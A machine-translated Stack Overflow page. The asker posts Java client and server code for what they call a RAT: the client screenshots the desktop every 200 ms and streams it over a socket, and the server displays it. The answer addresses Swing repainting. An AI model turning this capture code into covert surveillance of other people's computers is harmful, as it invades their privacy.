作者热门文章
- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我以前遇到过这个问题,但我不记得我是如何解决的。我正在研究 RAT,到目前为止它只是将客户端屏幕发送到服务器。我曾经将图像保存到磁盘,但现在我试图让它只显示在 JFrame 上。它显示第一个屏幕截图,但仅显示第一个屏幕截图,不会绘制新屏幕截图。
服务器:
import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;
import javax.imageio.ImageIO;
import javax.swing.JFrame;
@SuppressWarnings("serial")
public class Server extends JFrame {
private BufferedImage image;
private BufferedImage oldImage;
public Server() {
setTitle("RAT");
setResizable(false);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}
public static void main(String[] args) throws IOException {
try {
Server server = new Server();
ServerSocket serverSocket = new ServerSocket(25565);
Socket clientSocket = serverSocket.accept();
System.out.println("Connection accepted!");
ObjectInputStream in = new ObjectInputStream(clientSocket.getInputStream());
boolean firstConnection = true;
int width = 0;
int height = 0;
while (true) {
if(firstConnection) {
width = in.readShort();
height = in.readShort();
server.setSize(width, height);
server.setVisible(true);
firstConnection = false;
}
server.oldImage = ImageIO.read(in);
if(server.oldImage != null) {
server.image = server.oldImage;
}
server.repaint();
}
} catch (IOException e) {
System.err.println("Accept failed.");
System.exit(1);
}
}
public void paint(Graphics g) {
g.drawImage(image, 0, 0, this);
}
}
客户:
import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.Socket;
import javax.imageio.ImageIO;
public class Client {
public static void main(String[] args) {
try {
Socket socket = new Socket("127.0.0.1", 25565);
ObjectOutputStream out = new ObjectOutputStream(socket.getOutputStream());
Robot robot = new Robot();
Toolkit toolkit = Toolkit.getDefaultToolkit();
Rectangle rectangle = new Rectangle(toolkit.getScreenSize());
out.writeShort(toolkit.getScreenSize().width);
out.writeShort(toolkit.getScreenSize().height);
while(true) {
ImageIO.write(robot.createScreenCapture(rectangle), "jpg", out);
Thread.sleep(200);
}
} catch (AWTException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
最佳答案
据我所知,问题是你通过编写诸如 Thread.sleep()
或 while(true)
之类的东西来阻止事件调度线程,从 Swing 的角度来看,这实际上并不称为适合。
你可以做些什么来解决这个问题:
clientSocket =
serverSocket.accept();
阻止 EDT,因此这些东西必须是在单独的 Thread
或在 SwingWorker
中完成。repaint()
的递归调用合并了来自 Filthy 的引述Rich Clients 就上述主题的论证如下 It is important to note that repaint requests get “coalesced,” or combined.
So, for example, if you request a repaint and there is already one on the
queue that has not yet been serviced, then the second request is ignored
because your request for a repaint will already be fulfilled by the earlier
request. This behavior is particularly helpful in situations where many
repaint requests are being generated, perhaps by very different situations
and components, and Swing should avoid processing redundant requests and
wasting effort.
JFrame
上绘画,而是明智的做法是通过重写在 JPanel/JComponent
之上绘制它 paintComponent(...)方法。这里是一个示例程序以获得进一步的帮助:
import java.awt.*;
import java.awt.event.*;
import java.awt.image.BufferedImage;
import javax.swing.*;
public class PointsExample
{
private CustomPanel contentPane;
private Timer timer;
private int x = 1;
private int y = 1;
/*
* This is just JFrame, that we be
* using as the Base for our Application.
* Though here we are calling our
* JPanel (CustomPanel), whose
* paintComponent(...) method, we had
* override.
*/
private void createAndDisplayGUI()
{
JFrame frame = new JFrame("Locate Mouse Position");
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
contentPane = new CustomPanel();
frame.setContentPane(contentPane);
frame.pack();
frame.setLocationByPlatform(true);
frame.setVisible(true);
for (int i = 0; i < 500; i++)
{
contentPane.set(x, y);
x++;
y++;
if (x == 450)
break;
}
}
public static void main(String\u005B\u005D args)
{
SwingUtilities.invokeLater(new Runnable()
{
public void run()
{
new PointsExample().createAndDisplayGUI();
}
});
}
}
class CustomPanel extends JComponent
{
private int x;
private int y;
public void set(int a, int b)
{
x = a;
y = b;
paintImmediately(0, 0, getWidth(), getHeight());
}
@Override
public Dimension getPreferredSize()
{
return (new Dimension(500, 500));
}
@Override
public void paintComponent(Graphics g)
{
super.paintComponent(g);
g.clearRect(0, 0, getWidth(), getHeight());
g.fillOval(x, y, 4, 4);
}
}
关于Java JFrame画图,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/11076168/
关闭。这个问题是opinion-based .它目前不接受答案。 想要改进这个问题? 更新问题,以便 editing this post 可以用事实和引用来回答它. 关闭 3 年前。 Improv
我需要在DOS下通过Assembly(intel)+C(c99)绘制QRCode。但看来我的内存太少了。我尝试将图像存储为位数组: image db 11111110b, ... 但无论如何我没有结果
我正在使用 Xamarin.Android 制作自定义 View ,我想在 Canvas 上绘制一个圆然后在其上绘制一个位图。圆正在正确绘制,但位图不是位图对应一个png图片资源。这是我的 OnDra
我正在通过编写游戏来学习 Android,但遇到了图形 API 方面的问题。 我想将图像绘制成路径的形状,然后在路径上添加边框。我能够使用 Path 剪辑图像,但找不到在其上添加边框的方法。我认为这很
我是一名优秀的程序员,十分优秀!